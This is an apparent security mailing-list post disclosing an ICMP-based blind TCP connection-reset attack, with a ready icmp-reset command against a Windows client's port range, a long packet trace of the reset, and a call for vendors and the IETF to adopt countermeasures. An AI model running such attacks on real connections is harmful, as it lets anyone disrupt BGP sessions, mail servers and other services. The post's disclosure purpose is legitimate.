Folks,

Here's the packet trace and the explanation of an ICMP-based blind connection-reset attack. 

In our sample scenario, a web-client (10.0.0.1, TCP port 3270) is downloading a file from a web-server (192.168.0.1, TCP port 80). If the TCP/IP implementations of both end-points are vulnerable,you can attack any of them, to cause the TCP connection to be aborted.

Let's suppose we have OS-fingerprinted the client, and know it runs Windows. As stated in one of my other other e-mails, Windows chooses the port numbers for its outgoing connections from the range 1024-4999.

So we could run our tool icmp-reset (http://www.gont.com.ar/tools/icmp-attacks) as-follows:

# icmp-reset -c 10.0.0.1:1024-4999 -s 192.168.0.1:80 -t client -r 128

This simple command would reset the connection. The tool just needs to send 3976 packets. With a 128kbps link (more than usual nowadays), we would need about 12 (twelve) seconds to reset the connection (and I'm considering the worst case, that is, that the port number in use by the client is 4999, so it would be our last try that would reset the connection).

Here's the packet trace:

22:20:56.921433 192.168.0.1.80 > 10.0.0.1.3270: . 58849:60269(1420) ack 203 win 17040 (DF) (ttl 63, id 36261)
22:20:57.400206 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 51749 win 9940 (DF) (ttl 118, id 23142)
22:20:57.403911 192.168.0.1.80 > 10.0.0.1.3270: . 60269:61689(1420) ack 203 win 17040 (DF) (ttl 63, id 63275)
22:20:57.690641 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 53169 win 9940 (DF) (ttl 118, id 23143)
22:20:57.694341 192.168.0.1.80 > 10.0.0.1.3270: . 61689:63109(1420) ack 203 win 17040 (DF) (ttl 63, id 36878)
22:20:58.077059 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 54589 win 9940 (DF) (ttl 118, id 23144)
22:20:58.080702 192.168.0.1.80 > 10.0.0.1.3270: . 63109:64529(1420) ack 203 win 17040 (DF) (ttl 63, id 55051)
22:20:58.372458 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 56009 win 9940 (DF) (ttl 118, id 23146)
22:20:58.376206 192.168.0.1.80 > 10.0.0.1.3270: . 64529:65949(1420) ack 203 win 17040 (DF) (ttl 63, id 51041)
22:20:58.662963 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 57429 win 9940 (DF) (ttl 118, id 23147)
22:20:58.666648 192.168.0.1.80 > 10.0.0.1.3270: . 65949:67369(1420) ack 203 win 17040 (DF) (ttl 63, id 59428)
22:20:58.954124 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 58849 win 9940 (DF) (ttl 118, id 23148)
22:20:58.957766 192.168.0.1.80 > 10.0.0.1.3270: . 67369:68789(1420) ack 203 win 17040 (DF) (ttl 63, id 56440)
22:20:59.161094 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 60269 win 9940 (DF) (ttl 118, id 23152)
22:20:59.164797 192.168.0.1.80 > 10.0.0.1.3270: . 68789:70209(1420) ack 203 win 17040 (DF) (ttl 63, id 53543)
22:20:59.356094 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 61689 win 9940 (DF) (ttl 118, id 23153)
22:20:59.359768 192.168.0.1.80 > 10.0.0.1.3270: . 70209:71629(1420) ack 203 win 17040 (DF) (ttl 63, id 56257)
22:20:59.455306 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 63109 win 9940 (DF) (ttl 118, id 23154)
22:20:59.458961 192.168.0.1.80 > 10.0.0.1.3270: . 71629:73049(1420) ack 203 win 17040 (DF) (ttl 63, id 43027)
22:20:59.941338 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 64529 win 9940 (DF) (ttl 118, id 23156)
22:20:59.945036 192.168.0.1.80 > 10.0.0.1.3270: . 73049:74469(1420) ack 203 win 17040 (DF) (ttl 63, id 34869)
22:21:00.142370 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 65949 win 9940 (DF) (ttl 118, id 23158)
22:21:00.146012 192.168.0.1.80 > 10.0.0.1.3270: . 74469:75889(1420) ack 203 win 17040 (DF) (ttl 63, id 42831)
22:21:00.433104 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 67369 win 9940 (DF) (ttl 118, id 23159)
22:21:00.436766 192.168.0.1.80 > 10.0.0.1.3270: . 75889:77309(1420) ack 203 win 17040 (DF) (ttl 63, id 38361)
22:21:00.823041 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 68789 win 9940 (DF) (ttl 118, id 23162)
22:21:00.826725 192.168.0.1.80 > 10.0.0.1.3270: . 77309:78729(1420) ack 203 win 17040 (DF) (ttl 63, id 47968)
22:21:00.928689 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 70209 win 9940 (DF) (ttl 118, id 23164)
22:21:00.932333 192.168.0.1.80 > 10.0.0.1.3270: . 78729:80149(1420) ack 203 win 17040 (DF) (ttl 63, id 56881)
22:21:01.321744 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 71629 win 9940 (DF) (ttl 118, id 23165)
22:21:01.325420 192.168.0.1.80 > 10.0.0.1.3270: . 80149:81569(1420) ack 203 win 17040 (DF) (ttl 63, id 50563)
22:21:01.804138 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 74469 win 9940 (DF) (ttl 118, id 23167)
22:21:01.807833 192.168.0.1.80 > 10.0.0.1.3270: . 81569:82989(1420) ack 203 win 17040 (DF) (ttl 63, id 39445)
22:21:01.809033 192.168.0.1.80 > 10.0.0.1.3270: . 82989:84409(1420) ack 203 win 17040 (DF) (ttl 63, id 61324)
22:21:01.908884 192.168.0.1 > 10.0.0.1: icmp: 192.168.0.1 protocol 6 unreachable for 10.0.0.1.3270 > 192.168.0.1.80: [|tcp] (ttl 158, id 61654) (ttl 214, id 31456)
22:21:02.005231 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 75889 win 9940 (DF) (ttl 118, id 23169)
22:21:02.008909 192.168.0.1.80 > 10.0.0.1.3270: . 84409:85829(1420) ack 203 win 17040 (DF) (ttl 63, id 46016)
22:21:02.487527 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 78729 win 9940 (DF) (ttl 118, id 23171)
22:21:02.491159 192.168.0.1.80 > 10.0.0.1.3270: . 85829:87249(1420) ack 203 win 17040 (DF) (ttl 63, id 64644)
22:21:02.492360 192.168.0.1.80 > 10.0.0.1.3270: . 87249:88669(1420) ack 203 win 17040 (DF) (ttl 63, id 39376)
22:21:02.785749 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 80149 win 9940 (DF) (ttl 118, id 23173)
22:21:02.789412 192.168.0.1.80 > 10.0.0.1.3270: . 88669:90089(1420) ack 203 win 17040 (DF) (ttl 63, id 58117)
22:21:02.980601 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 81569 win 9940 (DF) (ttl 118, id 23175)
22:21:02.984257 192.168.0.1.80 > 10.0.0.1.3270: . 90089:91509(1420) ack 203 win 17040 (DF) (ttl 63, id 62887)
22:21:03.175183 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 82989 win 9940 (DF) (ttl 118, id 23176)
22:21:03.178854 192.168.0.1.80 > 10.0.0.1.3270: . 91509:92929(1420) ack 203 win 17040 (DF) (ttl 63, id 54586)
22:21:03.374078 10.0.0.1.3270 > 192.168.0.1.80: . [tcp sum ok] 203:203(0) ack 84409 win 9940 (DF) (ttl 118, id 23177)
22:21:03.377773 192.168.0.1.80 > 10.0.0.1.3270: . 92929:94349(1420) ack 203 win 17040 (DF) (ttl 63, id 56692)
22:21:03.380717 10.0.0.1.3270 > 192.168.0.1.80: R [tcp sum ok] 4174694923:4174694923(0) win 0 (ttl 118, id 23180)

The packet trace was obtained at some firewall close to the web server and the attacker. That's why after the ICMP error message you still find a few data segments and a few ACKs. From the point of view of the attacked host (i.e., the web-client), as soon as it receives the ICMP error, it aborts the connection, and sends a RST to the web-server.

After trying all the ports in the range 1024-4999, icmp-reset will start again trying from port 1024. The idea is that the attacker will want to reset the connection again and again. Thus, if the client restarts the connection just after we reset it, every 12 seconds (or so) we will be resetting the connection again and again. This may not make cause much harm for a web-client downloading a file. But think about a blind connnction-reset being performed against a BGP router, a mailserver, or whatever.

Did we sniff the network? - NO! All these attacks are *blind*. That's why they are so *trivial*.

You see it? Just 12 seconds to send the 3976 packets that this blind connection-reset attack that can reset an arbitrary TCP connection between any two systems of the Internet. And we are just attacking from one host, with just a 128kbps communications link.

The attacks and the counter-measures are described at http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html

You can get your vendor fix it, or have someone start a discussion about this being "old news". A few "vendors" have done the former. Most have done the latter, unfortunately.

Let's see if everybody understands the point: There are lots of systems still vulnerable to these ICMP attacks. And lots of people arguing *against* implementing counter-measures for them. And vendors claiming that these attacks are hard to perform, etc.

These attacks are still current. And probably your vendor will not do anything about it. So realize how simple they are to perform, and make your vendor understand it and fix them, and get involved to have the IETF specs address these issues. 

Kindest regards,

--
Fernando Gont
e-mail: fernando@gont.com.ar || fgont@acm.org